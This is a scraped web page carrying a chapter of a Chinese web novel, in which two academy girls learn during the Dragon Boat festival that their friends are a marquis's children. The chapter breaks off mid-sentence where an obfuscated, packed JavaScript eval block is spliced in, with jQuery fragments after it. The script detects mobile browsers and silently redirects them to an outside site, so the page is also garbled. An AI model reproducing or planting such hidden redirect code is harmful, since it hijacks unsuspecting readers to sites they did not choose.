5. 端阳日窥得数隐秘
作品:《季大人升官笔记》 显年轻?徐行不由发笑,却突然顿住。
是啊…
他还年轻。
他的老师都不着急,他又急什么?
待他回过神来,身边的学生已经跑开了,长长蔓延的台阶上,那个身影一蹦一跳,也不怕摔了。
清晨低着头听秦晗训话,方才小舍里随着烛光流出的对他的抱怨,因她肆意的蹦跳而翻飞的儒巾垂带,悉数与端阳日光相汇。
最终,他看见,另一个姑娘站在树下,张手迎接她。两人挎着臂,说说笑笑间走远了。
夜里,季泠拖着步子回斋舍时,在大院中,听见怪异的动静。
夏夜的风不大,蝉鸣声声不休,季泠努力听了很久,才终于听清。
一个影子从身后缓缓靠近她,“泠儿。”
何咨宁拍了拍季泠的肩膀,却把她吓了一大跳,差点叫出声。
“你怎么站在这儿?不进去?”何咨宁正背着她那把筝,比她人还高,重的她直不起身。
“嘘,你听,有人在哭。”季泠压低声音,站在簌簌草影边。
何咨宁听见了,那道哭泣,是从大院侧边的灌木丛后传来。
季泠想走过去一探究竟,却被何咨宁直接拉回房内。
“别去。”何咨宁卸了筝,轻手将门关紧。
“为什么?她一定是我们这儿的学生。”
端阳节,每年几乎只有她们二人会留在书院里。其他学生要不就是建州人士,直接回家去了,要不就是父母亲人从家乡过来,带着孩子一块儿团聚。她们都没想到,今日斋舍之中竟还会有别人。
“不论是谁,既然躲起来偷偷哭了,就说明她不想被人戳破伤心事。你若是贸然前去,岂不让她难以自容?”季泠方才还激动的恨不得冲进灌木丛,何咨宁一句话,立刻就将她定住。
“是了,她人的伤心是秘密,我不能如此没分寸。”季泠暂且忘下此事,却见何咨宁专注擦拭她那把筝。
这是何咨宁小时候,她娘亲买给她的,与书院中其他人的相比,琴木一般,琴弦也一般。是她娘亲攒了许久的钱,才堪举力买下。何咨宁很爱惜,几乎不带出门。
今日这是…
“老实交代,”季泠坐在她对面,何咨宁的神情不对劲,“去哪儿了?”
分明今日午间用饭的时候,她还抱怨季泠不能与她作伴,现在看,却像是早寻着伴了。
“揽乐楼。”
“一个人?”季泠促狭道,果不其然,何咨宁抿唇逃避。
“那我猜一猜,”季泠绕着她,左看看,右瞧瞧,何咨宁可从来没有如此外显过心思的。
“齐二?”
“嗯。”
“他不是回家了吗?”
齐家在建州应当是有些地位的,几乎每旬假日,她们都能看见齐家派人来接三人回去。
虽然已经极力不显排场,可数十侍卫,良马华辇,她们很难不注意。
“他说得了一副不错的弦。”
“高山流水,知音相合?”季泠勾了勾指尖,丝弦颤了两声。确实是一副好弦,清脆又不乏沉厚,余韵悠长。
何咨宁看见她书箱中的笔与字,转换了话题。
“你的笔,写出来的字都开叉了。”
季泠闻声看去,思绪顺理成章地被她带跑,举着手给她看:“瞧瞧瞧,我这手指的茧子,换成金馃子,够咱吃一年的。”
话音未落,两人同时听到房门开启的声音。方才哭泣的姑娘回屋了。那间斋舍就在她们屋的正对面。眼下,那间斋舍只住着一个人。
两人面面相觑,许久不再说话。
假日第二日一早,何咨宁陪着季泠进城。她再不去购置新笔,写出的字都能分身了。
行至东湖,人声鼎沸,她们挤都挤不过去。
昨日赛了龙舟,百姓们仍不满足,定要赛上三五日,全过了瘾,才肯罢休。
季泠惦记着昨日下的军令状,走一步,眼睛就往湖边瞥一下,万般可惜,步步回头。何咨宁不爱热闹,只想拉着她快点挤过这如帷人缦,赶紧进了城,速战速决。却被季泠突然拉住。
“咨宁,等等。”她看见了一个熟悉的背影。
何咨宁顺着她示意的方向看过去,是齐无戈。
“好!”四面八方突然爆发如雷掌声,想来是赛舟者的表现十分出色,引得群众喝彩欢腾。
那少年激动地高举双手挥舞着,马尾也在风中飘扬。透过他晃动的残影,她们看见齐无戈身前的钟荡云和齐无咎。齐家三兄妹全来观赛了。
季泠立刻就将此行的目的抛诸脑后,拉着何咨宁冲开人群,牟足劲朝着三人那儿挤去。左推右搡着,她们的衣裳头发全乱了套,终于是挤到齐无戈身后。
辛苦踮起脚,两人看见钟荡云与齐无咎悠哉地依靠着观景栏,左右的游人离他们都有几步远,给他们留足了耍乐的空间。
何咨宁正想喊他们,却被季泠一把拦住。
“等等,”季泠挑起一抹笑,盯着身前热血沸腾的少年,“我要报上次的仇。”
那次的仇,她可记了好久。
就在去年她生辰的时候,钟荡云想要让她们看看她舅舅送她的一匹白马,拉着她们到书院山下的草场上。她们三人走的正欢时,一阵马蹄踏声传来,草屑被撅得如浪花飞溅,她们老远就嗅到泥土的味道。
钟荡云看见远处走来的齐无咎,挥手喊他快来,拉着何咨宁就向他跑去。等季泠反应过来转过身时,一张马嘴赫然出现在她面前,她尖叫一声,惊得连连后退,跌在草地里,摔了满身泥。
齐无戈一身铭金色曳撒,束着麒麟鎏金冠,长拉僵绳,在马儿嘶鸣中哈哈大笑。季泠顺手捡了一个石头狠狠掷过去,却被他用剑鞘精准格挡。
回去后,她那鹅黄色的裙子怎么也洗不干净,就此报废了。那是她为数不多的好衣裳。
她一个月没有理齐无戈。
“君子报仇,十年不晚。”季泠捂嘴偷偷在何咨宁耳边说,正打算从荷包中掏出墨囊,准备从他脖子里灌下去时,齐无戈身边的人却突然围拢过来。
季泠立刻收了手,撤退几步,佯装找个更合适的视角观赛。
“世子,侯爷吩咐…”又一阵喝彩涌来,季泠和何咨宁对望,耳边充斥着夏日狂欢的热闹,她们僵硬地不能动弹。
“他说的是柿子?”季泠张着嘴,呆楞了半天,率先开了口,迟疑的语气被周身的喧嚣掩盖。
何咨宁回答她:“侯爷,世子。”
她们都没听错。
狂浪的排山倒海,季泠和何咨宁个头太小,后头想要挤进前排的人全然没注意到她们,直接狠狠撞过来。
何咨宁拉住季泠,在两人昏头昏脑的那刻,冷不丁撞到前方的人背后。
几乎同时,她们被潜在暗中的侍卫抓了现行。齐无戈转身时,季泠和何咨宁已经被他的暗卫反扭了手。
随着他转身的,还有齐无戈身前的齐无咎和钟荡云。
“呀!泠儿!咨宁!你们也来看赛龙舟?”钟荡云喜出望外,只顾着为相遇的缘分激动,全然没看见她们身后钳制住她们的人。
“放开她们。”“世子爷,可以放开我们了吗?”两道声音撞在了一起。
划龙舟的齐呼声震得岸边青草透湿,天边白云乱飘。齐无戈和齐无咎同时白了脸。
暗卫松手的那一瞬,两人转头就走。层层叠叠的缤纷罗裙中,两个素色麻裙的姑娘很快不见了。
齐无戈转过身,钟荡云却还一脸茫然。
“大哥,泠儿和咨宁生气了?怎么不打招呼就走了?”
齐无戈看向她身旁的齐无咎,会心苦笑。
他们三人,这下算是惹祸上身了。
拔着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446267|185112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裙边从人群中逃脱,两人急匆匆进了城,又迅速返回了书院,再也挑不起任何凑热闹的心思。
“泠儿。”何咨宁已经接受了这个事实,季泠却如失聪般,只能听到早晨东湖边爆裂般的喧嚣,以及那句世子。
“齐无戈,是世子啊…他父亲,原来是侯爷。”他们做了五年的同窗,居然一无所知。
难怪呢,难怪建州知府的儿子在书院,见到齐家三人,都十分谦恭。她们还以为是齐无戈身量高大,自带威风。
原来是身份的威力。
“齐家,闽浙只有一个姓齐的侯爷。”何咨宁轻声说着,看向昨日刚带回来的那把筝。
那么普通的木头上,却配着数金贵重的丝弦。
不合适。
“抚远候,齐威齐将军。”季泠起了身,一把掰断秃噜毛的笔,带上新买的笔,拎着书箱又去了瀚海阁。
何咨宁从琴囊中拿出那副旧琴弦,又替季泠把扔在地上的笔捡了起来。那把紫檀兔毫笔,是齐无戈因惊马之事赠给季泠赔罪的。她收了笔,就算是原谅他了。
现在想想,真可笑,她们哪有资格生他们的气呢。
天色渐沉,瀚海阁内烛火轻曳。季泠将今日整的地方志交给秦晗,趁空起身多点了几只蜡烛。书斋内渐亮起来。
“你这字怎么回事?”秦晗看着书案对面的人,冷声质问。
“今日,换了新笔…不大顺手。”
“是因为新笔,还是因为心事?”季泠抬头,秦晗缓缓摇着蒲扇,似乎从未看过她。
“我今日入城时,遇见些事情。”
“遭人骗了?”
“您怎么知道?”
“你那二两心思,明明白白写在脸上,我不想知道都难。“秦晗看完,将册子合上,摆出一副大发善心的模样。
“说说吧,遭谁骗了?”
“您认识的…荡云和齐大齐二…他们是…”
“抚远候齐家。”
“您知道?”季泠不可思议。秦晗足不出户,怎么什么都知道?赛半仙了这不是?
秦晗瞧见她那惊诧的模样,破天荒笑了一下。季泠仿佛见了鬼般缩了缩脖子,秦晗立刻敛了笑意。
“怎么?你觉得,你的好朋友将身份瞒了你,不诚实?”
“…也不算。只是,我们可是朋友啊!还是很好很好的朋友!朋友之间,不应该有秘密吧?”
这话说出来,季泠自己都觉得傻的天真。她自己这样想,纯粹是因为她藏不住事,可别人未必如此。
“你倒也奇了。侯府的同窗,换谁都该高兴,你反倒像是被讹了钱。”
“我只是觉得,有点难过。我大概也猜得到,他们隐瞒身份是怕招惹祸端,毕竟树大招风…可是,今日,我与咨宁知道了,我们之间的地位就变了。我看着他们,总觉得远了许多,不再是可以随意嬉笑打骂的关系。”
她觉得很可惜。同窗之谊对她而言是很珍贵的,没有勾心斗角,没有身份尊卑。
离开书院进了城,买过几回东西,办过几次琐事,遭过几次白眼,才明白人心轻薄,都是先敬衣裳后敬人的。也只有在书院,穿上统一的儒巾斓衫,他们才算是一类人,才能坐在同一张书案前交谈。
“季泠。”季泠迷茫地看着秦先生,她猜到,秦晗估计要对她说些什么了。
“所谓的地位,关系,是你自己构筑的。”季泠不解。
“看看你身边,县令,学正、推官、知府,这些人的子侄,在你离开书院后,一辈子都接触不到几个。而如今,你甚至能与抚远候府的人打的火热,你该感到高兴。”
是的,正常来说,她该感到高兴,她和何咨宁都非常明白,书院带给她们这些白衣的,绝不仅仅是学识道理,更有许多助益一生的东西。
“先生的意思是…”
“好好利用他们。”